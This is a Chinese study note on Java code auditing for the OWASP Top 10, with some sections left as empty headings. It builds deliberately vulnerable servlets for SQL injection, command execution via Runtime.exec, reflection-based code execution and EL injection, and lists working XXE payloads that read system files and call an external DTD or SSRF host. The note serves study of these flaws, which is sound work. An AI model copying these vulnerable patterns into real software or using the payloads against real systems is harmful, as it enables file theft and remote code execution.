• 第五章 OWASP TOP 10 2017 漏洞代码审计


    1.sql注入

    jdbc拼接不当引起的sql注入,主要用到PreparedStatement

    自己写个案例试一下

    用Servlet的案例

    先写个工具类

    package util;
    
    import java.sql.*;
    
    public class DBConn {
        static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8";
        static String user ="root";
        static String password ="123456";
        static Connection conn=null;
        static ResultSet rs=null;
        static PreparedStatement ps = null;
    
        public static void init(){
            try {
                Class.forName("com.mysql.jdbc.Driver");
                conn= DriverManager.getConnection(url, user, password);
            } catch (Exception e) {
                // TODO: handle exception
                System.out.println("初始化失败");
                e.printStackTrace();
            }
        }
        /**
         * 增加修改删除操作
         * @param sql
         * @return
         */
        public static int addUpdDel(String sql){
            int i=0;
            try {
                PreparedStatement ps = conn.prepareStatement(sql);
                i=ps.executeUpdate();
            } catch (SQLException e) {
                // TODO Auto-generated catch block
                System.out.println("sql数据库增删改异常");
                e.printStackTrace();
            }
    
            return i;
        }
    
        //数据库查询操作
        public static ResultSet selectSql(String sql){
            try {
                ps=conn.prepareStatement(sql);
                rs=ps.executeQuery(sql);
            } catch (SQLException e) {
                // TODO Auto-generated catch block
                System.out.println("sql数据库查询异常");
                e.printStackTrace();
            }
    
            return rs;
        }
    
    
        //关闭连接
        public     static void closeConn(){
            try {
    
                ps.close();
                conn.close();
            } catch (SQLException e) {
                // TODO Auto-generated catch block
                System.out.println("sql数据库关闭异常");
                e.printStackTrace();
            }
        }
    }

    再写个servlet

    @WebServlet("/sqltest")
    public class JdbcSqlInject extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp)
                throws ServletException, IOException {
            String sql="select * from user_domain where id="+req.getParameter("id");
            resp.getWriter().write(sql);
            try{
                DBConn.init();
                ResultSet rs=DBConn.selectSql(sql);
                while (rs.next()){
                    String name=rs.getString("user");
                    resp.getWriter().write("
    ");
                    resp.getWriter().write(name);
                }
    
            } catch (SQLException throwables) {
                throwables.printStackTrace();
            }
        }
    }

    引入驱动mysql-connector-java-5.1.46.jar

    访问:

    http://localhost:8080/ServletTest/sqltest?id=1%20or%201=1

    注入成功

    正确的做法

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String sql = "select * from user_domain where id=?";
            String id = req.getParameter("id");
            resp.getWriter().write(sql);
    
            try {
                DBConn.init();
                ResultSet rs = DBConn.selectSql(sql, id);
    
                while(rs.next()) {
                    String name = rs.getString("user");
                    resp.getWriter().write("
    ");
                    resp.getWriter().write(name);
                }
            } catch (SQLException var7) {
                var7.printStackTrace();
            }
    
        }
    

      

    //数据库查询操作
        public static ResultSet selectSql(String sql,String id){
            try {
                ps=conn.prepareStatement(sql);
                ps.setInt(1,Integer.parseInt(id));
                rs=ps.executeQuery();
            } catch (SQLException e) {
                // TODO Auto-generated catch block
                System.out.println("sql数据库查询异常");
                e.printStackTrace();
            }
    
            return rs;
        }
    

      

    框架注入mybatis 之前实践过,就省略了

    https://www.cnblogs.com/fczlm/p/14273064.html

    Hibernate遇到的比较少,暂时省略

    命令注入

    写一个命令注入的Servlet

    import org.omg.SendingContext.RunTime;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.util.Arrays;
    
    @WebServlet("/ComTest")
    public class ComTest extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp)
                throws ServletException, IOException {
            String cmd =req.getParameter("cmd");
            Process process= Runtime.getRuntime().exec(cmd);
            InputStream in= process.getInputStream();
            ByteArrayOutputStream ba=new ByteArrayOutputStream();
            byte[] b =new byte[1024];
            int i =-1;
            while ((i= in.read(b))!=-1){
                ba.write(b,0,i);
            }
            resp.getWriter().write(ba.toString());
        }
    }
    

      命令注入的局限

    连接符:|,||,&,&&

    java环境的命令注入局限,连接符拼接的字符串不会产生命令注入

    代码注入

    比如java的反射机制,凑一段这样的代码,然后执行http://localhost:8080/ServletTest/ReflexTest?name=java.lang.Runtime&method=getRuntime&method2=exec&args=whoami

    就能执行任意命令了

    @WebServlet("/ReflexTest")
    public class ReflexTest extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp)
                throws ServletException, IOException {
            String class_name=req.getParameter("name");
            String class_method=req.getParameter("method");
            String class_method2=req.getParameter("method2");
            String Args=req.getParameter("args");
            //String[] Args=new String[]{req.getParameter("args").toString()};
            try{
                Class<?> clazz= Class.forName(class_name);
                Method method=clazz.getMethod(class_method);
                Object rt=method.invoke(clazz);
                clazz.getMethod(class_method2,String.class).invoke(rt, Args);
    
            } catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException  | IllegalAccessException e) {
                e.printStackTrace();
            }
    
    
        }
    }
    

     

    是不是觉得这就是你自己凑出来的,真实项目中哪有人给你这样设计好了等你日,嘿,还就真有

    java反序列化命令执行中用到了Apache Commons cokkections组件3.1版本,有一段通过利用反射机制完成特定功能的代码。

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    
        public Object transform(Object input) {
            if (input == null) {
                return null;
            } else {
                try {
                    Class cls = input.getClass();
                    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                    return method.invoke(input, this.iArgs);
                } catch (NoSuchMethodException var5) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
                } catch (IllegalAccessException var6) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
                } catch (InvocationTargetException var7) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
                }
            }
        }
    

      

    那么回顾一下java反序列化命令执行。

    首先我们引入Apache Commons cokkections的版本,尝试一下,用InvokerTransformer,到底能不能执行runtime

    这里用spring boot maven引入吧,比较好搞一些

    <dependency>
                <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.1</version>
            </dependency>

    然后main下执行这样的代码:

    InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"});
    Runtime rt=Runtime.getRuntime();
    test.transform(rt);
    

      可以确认一点transform是可以通过反射机制,执行Runtime从而命令执行的。

    那如果transform传入的对象,我们可控,InvokerTransformer的对象中的内容也可控,那会怎么样?具体分析之前分析学习过https://www.cnblogs.com/fczlm/p/14293107.html

    5.表达式注入

    5.1EL表达式注入

    是一种在JSP页面获取数据的简单方式(只能获取数据,不能设置数据)

     语法格式

    在JSP页面的任何静态部分均可通过:${expression}来获取到指定表达式的值

    EL只能从四大域中获取属性

    page,request,session,application

    实例1:获取url参数

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      ${param.name}
      </body>
    </html>
    

      

    实例2,实例化java的内置类

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      ${Runtime.getRuntime().exec("calc")}
      </body>
    </html>
    

    EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

    一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。

    案例:

    import de.odysseus.el.ExpressionFactoryImpl;
    import de.odysseus.el.util.SimpleContext;
    
    import javax.el.ExpressionFactory;
    import javax.el.ValueExpression;
    
    public class Test {
        public static void main(String[] args) {
            ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
            SimpleContext simpleContext = new SimpleContext();
            // failed
            // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
            // ok
            String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
            ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
            System.out.println(valueExpression.getValue(simpleContext));
        }
    }
    

      但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的

    5.1.2模板注入

    5.2 失效的身份认证

    5.3敏感信息泄露

    5.4XXE

    XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,扫内网扫描。

    在Java中其实存在着非常多的解析XML的库,同时由于在Java应用中会大量地使用到XML,因此就会出现使用不同的库对XML继续解析,而编写这些代码的研发人员并没有相关的安全背景,所以就导致了层出不穷地Java XXE漏洞。

    案例1:

    DocumentBuilderFactory

    案例

    @PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8")
        public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = dbf.newDocumentBuilder();
            builder.parse(new InputSource(new StringReader(xml)));
        }
    

      

    POST http://127.0.0.1:8080/xxetest HTTP/1.1
    User-Agent: Fiddler
    Content-Type: application/xml;charset=UTF-8
    Host: 127.0.0.1:8080
    Content-Length: 106
    
    <?xml version="1.0"?> 
    <!DOCTYPE creds  SYSTEM "http://**.com/ssrf.php">
    <creds>&b;</creds>
    

      

    收到收到ssrf请求

    User-Agent: Java/1.8.0_191
    Host: **
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    REMOTE_ADDR:** 2021/09/18 04/36/48pm
    

      

    其他payload也记录下吧

    有回显的

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>
    

      引入的外部的dtd

    <?xml version="1.0"?> 
    <!DOCTYPE creds  SYSTEM "http://127.0.0.1/test/evil.dtd">
    <creds>&b;</creds>
    **********
    http://127.0.0.1/test/evil.dtd的数据
    <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
    

      

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> 
    %goodies;
    ]> 
    <creds>&b;</creds>
    ********
    evil.dtd
    <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
    

      php 的

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> 
    <creds>&goodies;</creds>
    

      

    此外还有

    SAXBuilder,

    SAXParserFactory,

    SAXReader

    SAXTransformerFactory,

    SchemaFactory,

    TransformerFactory

    ValidatorSample,

    XMLReader

    参考这个https://blog.spoock.com/2018/10/23/java-xxe/

    5.5失效的访问控制

    5.6不安全配置

    略,但是之后要补充练习

    5.7跨站脚本

     5.8 不安全的反序列化

    感觉描述的不太清晰,日后查查资料再练习下。

    5.9使用含有已知漏洞的组件

    5.10 CRLF注入

    回车换行注入漏洞

    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      <%
        String val=request.getParameter("val");
        Logger log =Logger.getLogger("log");
        log.setLevel(Level.INFO);
        try{
          int value =Integer.parseInt(val);
          System.out.println(value);
        }
        catch (Exception e){
          log.info("Filed"+val);
        }
      %>
      </body>
    </html>
    

      

  • 相关阅读:
    Jenkins构建、推送、拉取镜像和发布应用
    我们是如何做DevOps的?
    记录这两年是如何一步一步转型到.net core+k8s
    spring cloud+.net core搭建微服务架构:服务注册(一)
    .net core gRPC与IdentityServer4集成认证授权
    同时支持EF+Dapper的混合仓储,助你快速搭建数据访问层
    如何更优雅的在kubernetes平台下记录日志
    spring cloud+.net core搭建微服务架构:Api授权认证(六)
    spring cloud+.net core搭建微服务架构:配置中心续(五)
    spring cloud+.net core搭建微服务架构:配置中心(四)
  • 原文地址:https://www.cnblogs.com/fczlm/p/15309306.html
Copyright © 2020-2023  润新知